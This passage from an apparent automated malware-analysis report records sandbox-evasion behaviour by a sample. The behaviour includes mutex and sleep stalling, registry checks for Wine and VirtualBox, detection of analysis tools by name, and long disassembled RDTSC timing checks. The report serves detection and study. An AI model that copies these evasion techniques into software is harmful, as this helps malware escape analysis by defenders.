Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking mutex)

Source: C:\Users\user\AppData\Local\Temp\service123.exe

Evasive API call chain: CreateMutex,DecisionNodes,Sleep

graph_9-158257

Found stalling execution ending in API Sleep call

Source: C:\Users\user\AppData\Local\Temp\service123.exe

Stalling execution: Execution stalls by calling Sleep

graph_9-158258

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: rJvOqHxkuI.exe, 00000000.00000003.1306358333.000000000710F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: PROCMON.EXE
Source: rJvOqHxkuI.exe, 00000000.00000003.1306358333.000000000710F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: X64DBG.EXE
Source: rJvOqHxkuI.exe, 00000000.00000003.1306358333.000000000710F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: WINDBG.EXE
Source: rJvOqHxkuI.exe, 00000000.00000003.1306358333.000000000710F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SYSINTERNALSNUM_PROCESSORNUM_RAMNAMEALLFREEDRIVERSNUM_DISPLAYSRESOLUTION_XRESOLUTION_Y\RECENT_FILESPROCESSESUPTIME_MINUTESC:\WINDOWS\SYSTEM32\VBOX.DLL01VBOX_FIRSTSYSTEM\CONTROLSET001\SERVICES\VBOXSFVBOX_SECONDC:\USERS\PUBLIC\PUBLIC_CHECKWINDBG.EXEDBGWIRESHARK.EXEPROCMON.EXEX64DBG.EXEIDA.EXEDBG_SECDBG_THIRDYADROINSTALLED_APPSSOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALLSOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL%D%S\%SDISPLAYNAMEAPP_NAMEINDEXCREATETOOLHELP32SNAPSHOT FAILED.
Source: rJvOqHxkuI.exe, 00000000.00000003.1306358333.000000000710F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: WIRESHARK.EXE

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: F9DC46 second address: F9DC6D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3808D550FFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F3808D55102h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: F9DC6D second address: F9DC96 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3808C18665h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jl 00007F3808C1865Ch 0x00000013 jp 00007F3808C18656h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 110A0F5 second address: 110A11C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007F3808D55111h 0x0000000c jmp 00007F3808D55109h 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 110A11C second address: 110A12F instructions: 0x00000000 rdtsc 0x00000002 jp 00007F3808C1865Eh 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 110A126 second address: 110A12F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11191A7 second address: 11191AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11191AD second address: 11191D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F3808D550F8h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c jg 00007F3808D550FAh 0x00000012 push edx 0x00000013 pop edx 0x00000014 pushad 0x00000015 popad 0x00000016 pushad 0x00000017 pushad 0x00000018 popad 0x00000019 ja 00007F3808D550F6h 0x0000001f push eax 0x00000020 pop eax 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11192F5 second address: 11192FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 111CCF4 second address: 111CCF8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 111CCF8 second address: F9DC46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 add dword ptr [esp], 65ECFE0Eh 0x0000000e js 00007F3808C1865Ch 0x00000014 push dword ptr [ebp+122D0755h] 0x0000001a mov ecx, dword ptr [ebp+122D190Ch] 0x00000020 call dword ptr [ebp+122D2DCFh] 0x00000026 pushad 0x00000027 clc 0x00000028 xor eax, eax 0x0000002a clc 0x0000002b mov edx, dword ptr [esp+28h] 0x0000002f js 00007F3808C1865Ch 0x00000035 or dword ptr [ebp+122D3124h], edx 0x0000003b pushad 0x0000003c sub dword ptr [ebp+122D3124h], ebx 0x00000042 or esi, dword ptr [ebp+122D39D5h] 0x00000048 popad 0x00000049 mov dword ptr [ebp+122D392Dh], eax 0x0000004f xor dword ptr [ebp+122D3124h], esi 0x00000055 mov esi, 0000003Ch 0x0000005a jo 00007F3808C1865Ch 0x00000060 mov dword ptr [ebp+122D3124h], edx 0x00000066 jbe 00007F3808C18663h 0x0000006c jmp 00007F3808C1865Dh 0x00000071 add esi, dword ptr [esp+24h] 0x00000075 stc 0x00000076 xor dword ptr [ebp+122D3124h], ecx 0x0000007c lodsw 0x0000007e jmp 00007F3808C18664h 0x00000083 add eax, dword ptr [esp+24h] 0x00000087 jmp 00007F3808C18661h 0x0000008c mov dword ptr [ebp+122D2E62h], edx 0x00000092 mov ebx, dword ptr [esp+24h] 0x00000096 stc 0x00000097 nop 0x00000098 pushad 0x00000099 push eax 0x0000009a push edx 0x0000009b push esi 0x0000009c pop esi 0x0000009d rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 111CE0C second address: 111CE41 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3808D550FAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 0DE1BB51h 0x00000010 movsx edi, si 0x00000013 lea ebx, dword ptr [ebp+12452C66h] 0x00000019 mov dword ptr [ebp+122D3124h], edx 0x0000001f xchg eax, ebx 0x00000020 jbe 00007F3808D550FAh 0x00000026 push ebx 0x00000027 push edx 0x00000028 pop edx 0x00000029 pop ebx 0x0000002a push eax 0x0000002b push eax 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 111CE41 second address: 111CE45 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 111CEA5 second address: 111CEAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 111CEAA second address: 111CEC6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3808C1865Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F3808C1865Bh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 111CEC6 second address: 111CECC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 111CECC second address: 111CF1B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3808C18663h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f jmp 00007F3808C18665h 0x00000014 mov eax, dword ptr [eax] 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 jmp 00007F3808C18666h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 111CF1B second address: 111CF20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 111CF20 second address: 111CF31 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 111CF31 second address: 111CF4B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F3808D55102h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 111CF4B second address: 111CFC4 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pop eax 0x00000008 mov dword ptr [ebp+122D3072h], eax 0x0000000e push 00000003h 0x00000010 push 00000000h 0x00000012 push ebp 0x00000013 call 00007F3808C18658h 0x00000018 pop ebp 0x00000019 mov dword ptr [esp+04h], ebp 0x0000001d add dword ptr [esp+04h], 00000018h 0x00000025 inc ebp 0x00000026 push ebp 0x00000027 ret 0x00000028 pop ebp 0x00000029 ret 0x0000002a mov edi, dword ptr [ebp+122D38E1h] 0x00000030 push 00000000h 0x00000032 sub cx, 1257h 0x00000037 push 00000003h 0x00000039 je 00007F3808C18656h 0x0000003f call 00007F3808C18659h 0x00000044 jmp 00007F3808C1865Dh 0x00000049 push eax 0x0000004a pushad 0x0000004b jg 00007F3808C18664h 0x00000051 jmp 00007F3808C1865Eh 0x00000056 push eax 0x00000057 push edx 0x00000058 jo 00007F3808C18656h 0x0000005e rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 111CFC4 second address: 111CFC8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 111CFC8 second address: 111CFD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 111CFD9 second address: 111CFDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 111CFDD second address: 111CFE3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 111CFE3 second address: 111CFFF instructions: 0x00000000 rdtsc 0x00000002 jne 00007F3808D55101h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 111CFFF second address: 111D004 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 111D004 second address: 111D078 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007F3808D550F6h 0x00000009 jmp 00007F3808D55105h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 jne 00007F3808D55100h 0x0000001b pop eax 0x0000001c lea ebx, dword ptr [ebp+12452C6Fh] 0x00000022 push 00000000h 0x00000024 push ebp 0x00000025 call 00007F3808D550F8h 0x0000002a pop ebp 0x0000002b mov dword ptr [esp+04h], ebp 0x0000002f add dword ptr [esp+04h], 00000019h 0x00000037 inc ebp 0x00000038 push ebp 0x00000039 ret 0x0000003a pop ebp 0x0000003b ret 0x0000003c mov edx, dword ptr [ebp+122D3072h] 0x00000042 xchg eax, ebx 0x00000043 push eax 0x00000044 push edx 0x00000045 jmp 00007F3808D550FEh 0x0000004a rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 111D125 second address: 111D129 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 111D129 second address: 111D15D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a jmp 00007F3808D550FDh 0x0000000f push 00000000h 0x00000011 adc edi, 1A72FE9Fh 0x00000017 push 78EC171Ah 0x0000001c pushad 0x0000001d pushad 0x0000001e jmp 00007F3808D550FCh 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 111D15D second address: 111D16A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jnc 00007F3808C18656h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 111D16A second address: 111D16E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 111D16E second address: 111D1C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xor dword ptr [esp], 78EC179Ah 0x0000000e push 00000000h 0x00000010 push ecx 0x00000011 call 00007F3808C18658h 0x00000016 pop ecx 0x00000017 mov dword ptr [esp+04h], ecx 0x0000001b add dword ptr [esp+04h], 00000019h 0x00000023 inc ecx 0x00000024 push ecx 0x00000025 ret 0x00000026 pop ecx 0x00000027 ret 0x00000028 push 00000003h 0x0000002a cmc 0x0000002b push 00000000h 0x0000002d xor dword ptr [ebp+122D2D75h], ecx 0x00000033 movzx edx, cx 0x00000036 push 00000003h 0x00000038 js 00007F3808C1865Ch 0x0000003e add esi, dword ptr [ebp+122D3905h] 0x00000044 push C165A34Bh 0x00000049 pushad 0x0000004a pushad 0x0000004b pushad 0x0000004c popad 0x0000004d push eax 0x0000004e push edx 0x0000004f rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 110F281 second address: 110F298 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F3808D550FDh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 110F298 second address: 110F2BB instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jp 00007F3808C18656h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F3808C18665h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 113C8B7 second address: 113C8BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 113C8BC second address: 113C8D0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3808C1865Fh 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 113CB72 second address: 113CB76 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 113CB76 second address: 113CB7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 113CB7E second address: 113CBA0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3808D55100h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jc 00007F3808D55110h 0x0000000f push eax 0x00000010 push edx 0x00000011 jg 00007F3808D550F6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 113CE57 second address: 113CE5D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 113CE5D second address: 113CE6D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3808D550FCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 113CE6D second address: 113CE7F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3808C1865Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 113CE7F second address: 113CE96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jbe 00007F3808D55102h 0x0000000f jno 00007F3808D550F6h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 113CE96 second address: 113CEA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 113CEA1 second address: 113CEA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 113D150 second address: 113D167 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007F3808C1865Ch 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 113D307 second address: 113D30D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 113D30D second address: 113D320 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3808C1865Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 113D320 second address: 113D329 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 113D457 second address: 113D463 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F3808C18656h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 113D463 second address: 113D46F instructions: 0x00000000 rdtsc 0x00000002 jng 00007F3808D550FEh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 113D5E4 second address: 113D5E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 113D5E8 second address: 113D5F7 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jng 00007F3808D550F6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 113D769 second address: 113D776 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 jc 00007F3808C18656h 0x0000000c pop edi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 113D776 second address: 113D782 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F3808D550F6h 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 113DA6D second address: 113DA71 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 1132464 second address: 113247D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3808D55105h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11086E8 second address: 11086EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11086EC second address: 1108712 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F3808D55109h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push edi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 1108712 second address: 110871D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F3808C18656h 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 110871D second address: 1108748 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push edi 0x00000006 pop edi 0x00000007 jmp 00007F3808D55109h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 jng 00007F3808D550F6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 1108748 second address: 110874C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
